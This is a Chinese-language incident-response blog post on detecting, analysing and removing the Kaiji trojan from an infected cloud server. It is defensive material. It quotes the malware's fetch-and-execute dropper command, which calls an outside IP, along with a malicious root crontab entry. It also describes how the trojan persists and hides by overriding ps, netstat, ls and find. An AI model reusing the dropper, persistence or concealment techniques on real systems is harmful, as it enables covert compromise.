最近,在防火墙日志中发现了一台云服务器主动连接到境外IP的情况。进一步排查后确认该服务器已被Kaiji木马病毒感染。本文将详细介绍如何检测、隔离和清除Kaiji木马病毒,并恢复系统的正常运行。
发现问题
1.防火墙日志:
在防火墙日志中,发现云服务器主动连接到境外IP180.131.145.61。
使用netstat命令确认连接:
netstat -anop | grep180.131.145.61
发现PID为3155的进程正在与该IP通信。
2.终止可疑进程:
kill 3155
然而,新的进程(PID 17421/sh)迅速重新建立连接。
3.分析新进程
使用ps -fp 17421查看进程详情,发现其执行了以下命令:
sh -c killall; cd /usr/sbin/; wget http://146.103.41.78/centios; chmod 0755 cenitios; ./cenitos
4.下载并分析恶意文件
将下载的centios上传至沙箱进行分析,确认其为Kaiji木马病毒。
分析Kaiji木马的行为
通过沙箱分析,发现了Kaiji木马的主要行为包括:
1.修改启动项
修改/etc/rc.local以实现自启动:
2.创建定时任务
写入一个crontab条目,以便定期执行恶意代码:
3.在敏感目录下创建文件
创建一个init脚本:
清除Kaiji木马
1. 删除恶意文件
首先删除已知的恶意文件
2.封禁IP
封禁相关恶意外联IP,以防止进一步的攻击
3. 清理启动项和定时任务
编辑并清理/etc/rc.local文件,删除或注释掉任何可疑的命令行
清理crontab条目,删除或注释掉任何可疑的条目,例如:
*/1 * * * * root /.mod
4. 恢复系统完整性
恢复原始的find命令
查杀后登录服务器提示bash: /etc/profile.d/bash.cfg: No such file or directory,说明仍然有部分文件未清理干净。使用以下命令查找相关文件:
grep -r "bash.cfg" /etc/profile /etc/profile.d/* ~/.bash_profile ~/.bashrc ~/.bash_login ~/.profile
发现功能函数
该函数使用多个 sed 命令来过滤掉特定的路径或文件名。具体过滤规则如下://usr/bin/include//d:删除包含 /usr/bin/include/ 的行。/dns-udp4/d:删除包含 dns-udp4 的行。/quotaon.service/d:删除包含 quotaon.service 的行。/system.pub/d:删除包含 system.pub 的行。/gateway.sh/d:删除包含 gateway.sh 的行。/.mod/d:删除包含 .mod 的行。/libgdi.so.0.8.2/d:删除包含 libgdi.so.0.8.2 的行。/system.mark/d:删除包含 system.mark 的行。/netstat.cfg/d:删除包含 netstat.cfg 的行。/bash.cfg/d:删除包含 bash.cfg 的行。
覆盖系统命令该脚本通过定义一个同名的 ps、netstat、dir、ls、find 函数覆盖了系统的 相关命令。此时可以通过之前文章提到的busybox 来查询真实信息
以find 为例,判断是否被覆盖
type find 确认当前 shell 环境中是否仍然存在覆盖的 find 函数
unset -f find 删除该函数定义
按照隐藏路径继续查找删除残留项
5. 更新系统和补丁
-
确保系统和所有应用程序都是最新的,并应用所有必要的安全补丁
-
修改登录密码
6.其他
关于kaiji相关的文章资料不多,且为2020年左右的,有了解kaiji最新相关资讯的欢迎在评论区留言交流学习
原文始发于微信公众号(网络个人修炼):Kaiji木马病毒检测与清除实战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论